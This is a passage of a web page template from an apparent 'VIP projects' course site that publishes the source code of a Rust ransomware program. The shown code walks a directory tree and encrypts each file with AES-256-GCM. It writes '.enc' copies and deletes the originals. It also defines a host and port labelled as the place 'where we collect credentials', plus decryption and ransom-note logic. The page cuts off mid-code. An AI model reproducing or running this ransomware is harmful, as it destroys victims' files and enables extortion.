rust-ransomware.gohtml (40667B)
1 {{ define "sub-content" }} 2 3 <nav aria-label="breadcrumb"> 4 <ol class="breadcrumb"> 5 <li class="breadcrumb-item"><a href="/vip">VIP</a></li> 6 <li class="breadcrumb-item"><a href="/vip/projects">Projects</a></li> 7 <li class="breadcrumb-item active">{{ t "Rust Ransomware" . }}</li> 8 </ol> 9 </nav> 10 11 <h3>Rust Ransomware</h3> 12 <p> 13 </p> 14 15 <p>Full source code (rust):</p> 16 17 <h4 class="mt-5 mb-3">ransomware/main.rs</h4> 18 <!-- Code begin --> 19 <div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"> 20 <table style="border-spacing:0;padding:0;margin:0;border:0;width:auto;overflow:auto;display:block;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> 21 <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 22 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 23 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 24 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 25 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 26 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 27 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 28 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 29 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 30 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 10 31 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 11 32 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 12 33 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 13 34 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 14 35 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 15 36 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 16 37 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 17 38 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 18 39 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 19 40 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 20 41 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 21 42 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 22 43 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 23 44 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 24 45 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 25 46 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 26 47 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 27 48 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 28 49 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 29 50 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 30 51 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 31 52 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 32 53 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 33 54 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 34 55 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 35 56 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 36 57 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 37 58 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 38 59 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 39 60 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 40 61 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 41 62 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 42 63 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 43 64 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 44 65 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 45 66 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 46 67 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 47 68 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 48 69 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 49 70 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 50 71 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 51 72 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 52 73 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 53 74 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 54 75 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 55 76 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 56 77 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 57 78 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 58 79 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 59 80 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 60 81 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 61 82 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 62 83 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 63 84 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 64 85 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 65 86 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 66 87 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 67 88 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 68 89 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 69 90 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 70 91 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 71 92 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 72 93 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 73 94 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 74 95 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 75 96 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 76 97 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 77 98 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 78 99 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 79 100 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 80 101 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 81 102 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 82 103 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 83 104 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 84 105 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 85 106 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 86 107 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 87 108 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 88 109 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 89 110 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 90 111 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 91 112 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 92 113 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 93 114 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 94 115 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 95 116 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 96 117 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 97 118 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 98 119 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 99 120 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">100 121 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">101 122 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">102 123 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">103 124 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">104 125 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">105 126 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">106 127 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">107 128 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">108 129 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">109 130 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">110 131 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">111 132 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">112 133 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">113 134 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">114 135 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">115 136 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">116 137 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">117 138 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">118 139 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">119 140 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">120 141 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">121 142 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">122 143 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">123 144 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">124 145 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">125 146 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">126 147 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">127 148 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">128 149 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">129 150 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">130 151 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">131 152 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">132 153 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">133 154 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">134 155 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">135 156 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">136 157 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">137 158 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">138 159 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">139 160 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">140 161 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">141 162 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">142 163 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">143 164 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">144 165 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">145 166 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">146 167 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">147 168 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">148 169 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">149 170 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">150 171 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">151 172 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">152 173 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">153 174 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">154 175 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">155 176 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">156 177 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">157 178 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">158 179 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">159 180 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">160 181 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">161 182 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">162 183 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">163 184 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">164 185 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">165 186 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">166 187 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">167 188 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">168 189 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">169 190 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">170 191 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">171 192 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">172 193 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">173 194 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">174 195 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">175 196 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">176 197 </span><span style="margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">177 198 </span></pre></td> 199 <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> 200 <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><span style="color:#66d9ef">use</span> aes_gcm::aead::{Aead, NewAead}; 201 <span style="color:#66d9ef">use</span> aes_gcm::{Aes256Gcm, Key, Nonce}; 202 <span style="color:#66d9ef">use</span> base64; 203 <span style="color:#66d9ef">use</span> dirs; 204 <span style="color:#66d9ef">use</span> rand; 205 <span style="color:#66d9ef">use</span> std::env; 206 <span style="color:#66d9ef">use</span> std::fs; 207 <span style="color:#66d9ef">use</span> std::io::Write; 208 <span style="color:#66d9ef">use</span> std::net::TcpStream; 209 <span style="color:#66d9ef">use</span> std::path::PathBuf; 210 <span style="color:#66d9ef">use</span> std::{thread, time}; 211 <span style="color:#66d9ef">use</span> walkdir::{DirEntry, WalkDir}; 212 213 <span style="color:#66d9ef">static</span> RANSOMWARE_EXT: <span style="color:#66d9ef">&</span><span style="color:#66d9ef">str</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">"enc"</span>; 214 <span style="color:#66d9ef">static</span> RANSOM_NOTE_FILENAME: <span style="color:#66d9ef">&</span><span style="color:#66d9ef">str</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">"RANSOM_NOTE.txt"</span>; 215 <span style="color:#75715e">// Address where we collect credentials 216 </span><span style="color:#75715e"></span><span style="color:#66d9ef">static</span> HOST: <span style="color:#66d9ef">&</span><span style="color:#66d9ef">str</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">"127.0.0.1"</span>; 217 <span style="color:#66d9ef">static</span> PORT: <span style="color:#66d9ef">usize</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">8080</span>; 218 219 <span style="color:#75715e">// Avoid encrypting big dependencies folders (node_modules and friends) 220 </span><span style="color:#75715e"></span><span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">is_ignored</span>(entry: <span style="color:#66d9ef">&</span><span style="color:#a6e22e">DirEntry</span>) -> <span style="color:#66d9ef">bool</span> { 221 <span style="color:#66d9ef">let</span> file_name <span style="color:#f92672">=</span> entry.file_name(); 222 entry.path().is_dir() 223 <span style="color:#f92672">&</span><span style="color:#f92672">&</span> (file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">"node_modules"</span> 224 <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">"vendor"</span> 225 <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">"site-packages"</span> 226 <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">".cargo"</span> 227 <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">".rustup"</span> 228 <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">".heroku"</span> 229 <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">".node-gyp"</span> 230 <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">".npm"</span> 231 <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">".yjp"</span> <span style="color:#75715e">// jetbrains ide 232 </span><span style="color:#75715e"></span> <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">".ivy2"</span> <span style="color:#75715e">// maven cache 233 </span><span style="color:#75715e"></span> <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">".m2"</span> 234 <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">".vscode"</span> 235 <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">".git"</span> 236 <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">".pub-cache"</span> <span style="color:#75715e">// dart 237 </span><span style="color:#75715e"></span> <span style="color:#f92672">|</span><span style="color:#f92672">|</span> file_name <span style="color:#f92672">=</span><span style="color:#f92672">=</span> <span style="color:#e6db74">".gradle"</span>) 238 } 239 240 <span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">encrypt_files</span>(target_dir: <span style="color:#a6e22e">PathBuf</span>, key: <span style="color:#66d9ef">&</span><span style="color:#66d9ef">str</span>) { 241 <span style="color:#66d9ef">let</span> key <span style="color:#f92672">=</span> Key::from_slice(key.as_bytes()); 242 <span style="color:#66d9ef">let</span> cipher <span style="color:#f92672">=</span> Aes256Gcm::new(key); 243 <span style="color:#66d9ef">let</span> walker <span style="color:#f92672">=</span> WalkDir::new(target_dir).into_iter(); 244 <span style="color:#66d9ef">for</span> entry <span style="color:#66d9ef">in</span> walker.filter_entry(<span style="color:#f92672">|</span>e<span style="color:#f92672">|</span> <span style="color:#f92672">!</span>is_ignored(e)) { 245 <span style="color:#66d9ef">let</span> dir_entry <span style="color:#f92672">=</span> <span style="color:#66d9ef">match</span> entry { 246 Err(_) <span style="color:#f92672">=</span><span style="color:#f92672">></span> <span style="color:#66d9ef">continue</span>, 247 Ok(dir_entry) <span style="color:#f92672">=</span><span style="color:#f92672">></span> dir_entry, 248 }; 249 <span style="color:#75715e">// Skip symlinks 250 </span><span style="color:#75715e"></span> <span style="color:#66d9ef">if</span> dir_entry.path_is_symlink() { 251 <span style="color:#66d9ef">continue</span>; 252 } 253 <span style="color:#75715e">// Skip folders 254 </span><span style="color:#75715e"></span> <span style="color:#66d9ef">if</span> dir_entry.path().is_dir() { 255 <span style="color:#66d9ef">continue</span>; 256 } 257 <span style="color:#75715e">// skip already encrypted files 258 </span><span style="color:#75715e"></span> <span style="color:#66d9ef">if</span> dir_entry.path().extension().unwrap_or_default() <span style="color:#f92672">=</span><span style="color:#f92672">=</span> RANSOMWARE_EXT { 259 <span style="color:#66d9ef">continue</span>; 260 } 261 <span style="color:#75715e">// skip ransom note 262 </span><span style="color:#75715e"></span> <span style="color:#66d9ef">if</span> dir_entry.file_name() <span style="color:#f92672">=</span><span style="color:#f92672">=</span> RANSOM_NOTE_FILENAME { 263 <span style="color:#66d9ef">continue</span>; 264 } 265 266 <span style="color:#66d9ef">let</span> path <span style="color:#f92672">=</span> dir_entry.path(); 267 <span style="color:#66d9ef">let</span> random_bytes: Vec<span style="color:#f92672"><</span><span style="color:#66d9ef">u8</span><span style="color:#f92672">></span> <span style="color:#f92672">=</span> (<span style="color:#ae81ff">0</span>..<span style="color:#ae81ff">12</span>).map(<span style="color:#f92672">|</span>_<span style="color:#f92672">|</span> rand::random::<span style="color:#f92672"><</span><span style="color:#66d9ef">u8</span><span style="color:#f92672">></span>()).collect(); 268 <span style="color:#66d9ef">let</span> nonce_slice <span style="color:#f92672">=</span> random_bytes.as_slice(); 269 <span style="color:#66d9ef">let</span> nonce <span style="color:#f92672">=</span> Nonce::from_slice(nonce_slice); 270 <span style="color:#66d9ef">let</span> content <span style="color:#f92672">=</span> fs::read(path).unwrap(); 271 <span style="color:#66d9ef">let</span> <span style="color:#66d9ef">mut</span> ciphertext <span style="color:#f92672">=</span> cipher.encrypt(nonce, content.as_ref()).unwrap(); 272 ciphertext.extend_from_slice(nonce_slice); 273 <span style="color:#66d9ef">let</span> orig_ext <span style="color:#f92672">=</span> path 274 .extension() 275 .unwrap_or_default() 276 .to_str() 277 .unwrap_or_default(); 278 <span style="color:#66d9ef">let</span> <span style="color:#66d9ef">mut</span> new_ext <span style="color:#f92672">=</span> String::new(); 279 <span style="color:#66d9ef">if</span> orig_ext <span style="color:#f92672">!</span><span style="color:#f92672">=</span> <span style="color:#e6db74">""</span> { 280 new_ext <span style="color:#f92672">=</span> format<span style="color:#f92672">!</span>(<span style="color:#e6db74">"{}."</span>, orig_ext); 281 } 282 new_ext <span style="color:#f92672">+</span><span style="color:#f92672">=</span> RANSOMWARE_EXT; 283 <span style="color:#66d9ef">let</span> new_filepath <span style="color:#f92672">=</span> path.with_extension(new_ext); 284 fs::write(new_filepath, ciphertext).unwrap(); 285 fs::remove_file(path).unwrap(); 286 } 287 } 288 289 <span style="color:#66d9ef">fn</span> <span style="color:#a6e22e">decrypt_files</span>(target_dir: <span style="color:#a6e22e">PathBuf</span>, decryption_key: <span style="color:#66d9ef">&</span><span style="color:#66d9ef">str</span>) { 290 <span style="color:#66d9ef">let</span> key_bytes <span style="color:#f92672">=</span> decryption_key.as_bytes(); 291 <span style="color:#66d9ef">if</span> key_bytes.len() <span style="color:#f92672">!</span><span style="color:#f92672">=</span> <span style="color:#ae81ff">32</span> { 292 println<span style="color:#f92672">!</span>(<span style="color:#e6db74">"invalid key length"</span>); 293 <span style="color:#66d9ef">return</span>; 294 } 295 <span style="color:#66d9ef">let</span> key <span style="color:#f92672">=</span> Key::from_slice(key_bytes); 296 <span style="color:#66d9ef">let</span> cipher <span style="color:#f92672">=</span> Aes256Gcm::new(key); 297 <span style="color:#66d9ef">for</span> entry <span style="color:#66d9ef">in</span> WalkDir::new(target_dir) { 298 <span style="color:#66d9ef">let</span> dir_entry <span style="color:#f92672">=</span> <span style="color:#66d9ef">match</span> entry { 299 Err(_) <span style="color:#f92672">=</span><span style="color:#f92672">></span> <span style="color:#66d9ef">continue</span>, 300 Ok(dir_entry) <span style="color:#f92672">=</span><span style="color:#f92672">></span> dir_entry, 301 }; 302 <span style="color:#66d9ef">let</span> orig_path <span style="color:#f92672">=</span> dir_entry.path(); 303 <span style="color:#75715e">// only decrypt encrypted files 304 </span><span style="color:#75715e"></span> <span style="color:#66d9ef">if</span> orig_path.extension().unwrap_or_default() <span style="color:#f92672">!</span><span style="color:#f92672">=</span> RANSOMWARE_EXT { 305 <span style="color:#66d9ef">continue</span>; 306 } 307 <span style="color:#66d9ef">let</span> encrypted_content <span style="color:#f92672">=</span> fs::read(orig_path).unwrap(); 308 <span style="color:#66d9ef">let</span> nonce_raw <span style="color:#f92672">=</span> encrypted_content.as_slice()[encrypted_content.len() <span style="color:#f92672">-</span> <span style="color:#ae81ff">12</span>..].as_ref(); 309 <span style="color:#66d9ef">let</span> content <span style="color:#f92672">=</span> encrypted_content.as_slice()[..encrypted_content.len() <span style="color:#f92672">-</span> <span style="color:#ae81ff">12</span>].as_ref(); 310 <span style="color:#66d9ef">let</span> nonce <span style="color:#f92672">=</span> Nonce::from_slice(nonce_raw); 311 <span style="color:#66d9ef">let</span> plaintext <span style="color:#f92672">=</span> cipher 312 .decrypt(nonce, content) 313 .expect(<span style="color:#e6db74">"invalid decryption key"</span>); 314 <span style="color:#66d9ef">let</span> new_path <span style="color:#f92672">=</span> orig_path.with_file_name(orig_path.file_stem().unwrap()); 315 fs::write(new_path, plaintext).unwrap(); 316 fs::remove_file(orig_path).unwrap(); 317 } 318 println<span style="color:#f92672">!</span>(<span style="color:#e6db74">"done decrypting"</span>); 319 } 320 321 <span style="color:#75715e">// Create ransom note on user's Desktop 322 </span><span style="color:#75715e"></span><span style="color:#75715e">// We create the note at the beginning of the encryption process, 323 </span><span style="color:#75715e"></span><span style="color:#75715e">// so if the process get killed midway through, the note will already be 324 </span><span style="color:#75715e"></span><span 